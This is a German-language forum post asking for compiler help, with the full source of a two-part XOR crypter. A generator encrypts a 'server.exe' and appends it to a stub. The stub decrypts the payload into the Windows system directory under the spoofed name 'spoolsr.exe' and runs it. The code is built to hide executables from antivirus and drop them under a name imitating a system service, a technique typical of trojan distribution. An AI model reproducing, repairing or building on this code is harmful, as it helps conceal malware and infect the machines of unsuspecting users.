Ok. Fein. Da ich Regeln akzeptiere und hier neu bin, hab ich lieber gefragt.
Dann erklär ich erstmal das Problem.
Habe bisher verschiedene Compiler getestet. DevC++, VC98, Borland.
DevC++ erstellt alles ohne Murren, Programm läuft aber nicht. Stub.exe 19 kb, Generateur 417 kb.
VC++ mit IDE bringt Fehler. Generateur compiliert 257 kb, Stub ebenso. Unter Konsole lässt sich Generateur erstellen, Stub nicht.
Borland mag gar nicht.
Source besteht aus zwei Files: Generateur.cpp, Stub.cpp
Original.exe (vorcompiliert) sind Generateur.exe, 72 Kb und Stub.exe, 16 kb (gepackt mit FSG), entpackt ca. 50 kb.
Je nach Compiler und erfolgreichen, bzw teilweise erfolgreichem compilieren erhalte ich völlig absurde Größen, jenseits der originalen Exe-Größen.
Programme laufen in allen Fällen nicht.
Obj-Files lassen sich erstellen, beim Linken geht dann gar nix mehr.
Hier die beiden Files:
Generateur.cpp
// Cryptage de fichier par méthode 'XOR' by GoldenEye
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <iostream>
#include <windows.h>
using namespace std;
//
//int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PrevInst, LPSTR CmdLine, int NbCmd)
int main(int argc,char **argv) // 3 arguments
{
srand(time(0)); //initialise le randomizer
//on copie le stub
char c;//pour la sauvegarde
char *ch = "server.exe" ; //fichier du server 1
char *che = "stub.exe" ; // le stub 2
char *cho = "protected.exe" ; //fichier généré (bind copy stub)

3
char *cle = "clefdencryption" ;
FILE *crypte2,*crypte3; //copie de stub.exe ds un nouveau protected.exe
int i=0;//compteur
crypte2=fopen(che,"rb"); //lecture seule
crypte3=fopen(cho,"wb"); //ecriture seule, destruction ancienne version si exist
while(fread(&c,sizeof(char),1,crypte2))// tant qu'on en a pas vu la fin
{
putc(c,crypte3);// on copie
i++;
}
fclose(crypte2);
fclose(crypte3);
FILE *crypte1;//,*crypte3; //copie de server.exe sous XOR a la suite de protected.exe
//char *crypte1;
//char *crypte3;
i=0;//compteur
{ crypte1=fopen(ch,"rb"); //lecture seule
crypte3=fopen(cho,"ab+"); //ecriture seule, destruction ancienne version si exist
fseek(crypte3,15424,0); //17152 est l' offset de la fin du stub
//printf("Cl\202: ");//pour décrypter, il faut la clé !
//scanf("%s",cle);
while(fread(&c,sizeof(char),1,crypte1))// tant qu'on en a pas vu la fin
{
putc(c^cle[i%strlen(cle)],crypte3);// on crypte par XOR
i++;
}
fclose(crypte1);
fclose(crypte3);
printf("Nouveau protected.exe genere !");// gagné !
}
//ShellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
getchar();
return EXIT_SUCCESS;
}
Stub.cpp
#include <stdio.h>
#include <windows.h>
int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PrevInst, LPSTR CmdLine, int NbCmd)
{
//srand(time(0)); //initialise le randomizer
char c;//pour la sauvegarde
FILE *crypte1,*crypte2;
char *cle = "clefdencryption" ;
char *mumu = "" ;
char bite_str[256] = "\\spoolsr.exe" ;
char buffer[256] = {""};
int i=0;//compteur
GetModuleFileName(NULL,buffer,256); //detecte le chemin du prog
char RepertoireSystem_str[256];
GetSystemDirectory(RepertoireSystem_str, sizeof(RepertoireSystem_str));
mumu=strcat(RepertoireSystem_str,bite_str);
char *ch = buffer ; //fichier contenant le code crypté 1
char *che = mumu ; //fichier extrait puis executé

2
{ crypte1=fopen(ch,"rb");
fseek(crypte1,15424,0); //15424 est l' offset de la fin du stub
crypte2=fopen(che,"wb");
while(fread(&c,sizeof(char),1,crypte1))// tant qu'on en a pas vu la fin
{
putc(cle[i%strlen(cle)]^c,crypte2);// on decrypte par XOR
i++;
}
fclose(crypte1);
fclose(crypte2);
ShellExecute(NULL, NULL, mumu, NULL, NULL, SW_SHOWNORMAL);
}
return EXIT_SUCCESS;
}
Es macht mich wahnsinnig, wenn ich nicht rausbekomme, was ich falsch mache.
Hilfe wäre toll. Man lernt ja nie aus.
Danke
Gruß
root